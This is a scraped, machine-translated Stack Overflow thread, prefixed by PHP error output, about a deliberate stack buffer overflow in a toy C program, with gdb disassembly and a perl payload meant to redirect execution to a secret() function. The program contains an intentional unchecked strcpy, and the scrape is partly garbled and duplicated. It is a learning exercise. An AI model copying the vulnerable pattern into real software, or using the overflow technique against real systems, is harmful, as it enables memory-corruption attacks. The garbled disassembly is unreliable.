Warning: file_get_contents(/data/phpspider/zhask/data//catemap/6/cplusplus/134.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C++ c+中的有意缓冲区溢出+;_C++_Buffer_Overflow_Conditional - Fatal编程技术网

C++ c+中的有意缓冲区溢出+;

C++ c+中的有意缓冲区溢出+;,c++,buffer,overflow,conditional,C++,Buffer,Overflow,Conditional,我很确定我做的是正确的,我已经学习了很多教程,但是我不能让这个例子对我有用我的目标是称之为“秘密” 所以我有这个C++程序: #include <stdio.h> #include <string.h> #include <stdlib.h> #include <time.h> void secret() { printf( "You Won!"); } int check(char *name) { char buffer[16

我很确定我做的是正确的,我已经学习了很多教程,但是我不能让这个例子对我有用我的目标是称之为“秘密”

所以我有这个C++程序:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>

void secret() {
    printf( "You Won!");
}
int check(char *name) {
    char buffer[16];

    strcpy( buffer, name );

    printf( "Your name is: %s \n", buffer);
    srand(time(NULL));

    return rand();
}
int main(int argc, char **argv) {
    int randnum;
    randnum = check(argv[1]);
    if(randnum < 5) {
        secret();
    } else {
        return( 0 );
    }

return( 0 );
}
所以CCCC是回信地址。因此,在gdb中,我运行'disas main'返回:

   0x08048524 <+0>: lea    0x4(%esp),%ecx
   0x08048528 <+4>: and    $0xfffffff0,%esp
   0x0804852b <+7>: pushl  -0x4(%ecx)
   0x0804852e <+10>:    push   %ebp
   0x0804852f <+11>:    mov    %esp,%ebp
   0x08048531 <+13>:    push   %ecx
   0x08048532 <+14>:    sub    $0x14,%esp
   0x08048535 <+17>:    mov    %ecx,%eax
   0x08048537 <+19>:    mov    0x4(%eax),%eax
   0x0804853a <+22>:    add    $0x4,%eax
   0x0804853d <+25>:    mov    (%eax),%eax
   0x0804853f <+27>:    sub    $0xc,%esp
   0x08048542 <+30>:    push   %eax
   0x08048543 <+31>:    call   0x80484c4 <check(char*)>
   0x08048548 <+36>:    add    $0x10,%esp
   0x0804854b <+39>:    mov    %eax,-0xc(%ebp)
   0x0804854e <+42>:    cmpl   $0x4,-0xc(%ebp)
   0x08048552 <+46>:    jg     0x8048560 <main(int, char**)+60>
   0x08048554 <+48>:    call   0x80484ab <secret()>
   0x08048559 <+53>:    mov    $0x0,%eax
   0x0804855e <+58>:    jmp    0x8048565 <main(int, char**)+65>
   0x08048560 <+60>:    mov    $0x0,%eax
   0x08048565 <+65>:    mov    -0x4(%ebp),%ecx
   0x08048568 <+68>:    leave  
   0x08048569 <+69>:    lea    -0x4(%ecx),%esp
   0x0804856c <+72>:    ret  
0x08048524:lea0x4(%esp),%ecx
0x08048528:和$0xfffffff0,%esp
0x0804852b:PUSH-0x4(%ecx)
0x0804852e:推送%ebp
0x0804852f:mov%esp,%ebp
0x08048531:推送%ecx
0x08048532:子$0x14,%esp
0x08048535:mov%ecx,%eax
0x08048537:mov 0x4(%eax),%eax
0x0804853a:添加$0x4,%eax
0x0804853d:mov(%eax),%eax
0x0804853f:子$0xc,%esp
0x08048542:推送%eax
0x08048543:调用0x80484c4
0x08048548:添加$0x10,%esp
0x0804854b:mov%eax,-0xc(%ebp)
0x0804854e:cmpl$0x4,-0xc(%ebp)
0x08048552:jg 0x8048560
0x08048554:调用0x80484ab
0x08048559:mov$0x0,%eax
0x0804855e:jmp 0x8048565
0x08048560:mov$0x0,%eax
0x08048565:mov-0x4(%ebp),%ecx
0x08048568:离开
0x08048569:lea-0x4(%ecx),%esp
0x0804856c:ret
所以我尝试输入:(gdb)run$(perl-e'print“A”x28.\xab\x84\x04\x08“x1”)

我得到:

程序接收信号SIGSEGV,分段故障。 0xffffdb00英寸??()


为什么这不起作用?是否有可能使条件溢出为真?

编辑:我假设您正在学习安全性并尝试缓冲区溢出。您可能希望向其他人澄清,您并不是在试图编写这样的程序

您这样做似乎是正确的,我认为调用了
secret
函数,但程序从中返回时崩溃。
“您赢了!”
文本没有打印出来,因为它没有从某个缓冲区刷新。您可以尝试将断点放在
secret
函数上,您应该看到它正在被调用。您还可以在字符串末尾添加新行
\n
,以帮助在程序终止之前将其清除


如果您想让
秘密发生,然后正确退出程序,则需要更复杂的输入数据。

您的代码中几乎没有正确的内容。我建议您使用std::string而不是buffer。rand()将为您提供一个介于0-1之间的数字。您会惊讶于尝试将32个字符复制到16个字符的数组会导致缓冲区溢出?他试图使用缓冲区溢出来影响返回值。代码是故意错误的。问题是它没有按他想要的方式“断裂”。
   0x08048524 <+0>: lea    0x4(%esp),%ecx
   0x08048528 <+4>: and    $0xfffffff0,%esp
   0x0804852b <+7>: pushl  -0x4(%ecx)
   0x0804852e <+10>:    push   %ebp
   0x0804852f <+11>:    mov    %esp,%ebp
   0x08048531 <+13>:    push   %ecx
   0x08048532 <+14>:    sub    $0x14,%esp
   0x08048535 <+17>:    mov    %ecx,%eax
   0x08048537 <+19>:    mov    0x4(%eax),%eax
   0x0804853a <+22>:    add    $0x4,%eax
   0x0804853d <+25>:    mov    (%eax),%eax
   0x0804853f <+27>:    sub    $0xc,%esp
   0x08048542 <+30>:    push   %eax
   0x08048543 <+31>:    call   0x80484c4 <check(char*)>
   0x08048548 <+36>:    add    $0x10,%esp
   0x0804854b <+39>:    mov    %eax,-0xc(%ebp)
   0x0804854e <+42>:    cmpl   $0x4,-0xc(%ebp)
   0x08048552 <+46>:    jg     0x8048560 <main(int, char**)+60>
   0x08048554 <+48>:    call   0x80484ab <secret()>
   0x08048559 <+53>:    mov    $0x0,%eax
   0x0804855e <+58>:    jmp    0x8048565 <main(int, char**)+65>
   0x08048560 <+60>:    mov    $0x0,%eax
   0x08048565 <+65>:    mov    -0x4(%ebp),%ecx
   0x08048568 <+68>:    leave  
   0x08048569 <+69>:    lea    -0x4(%ecx),%esp
   0x0804856c <+72>:    ret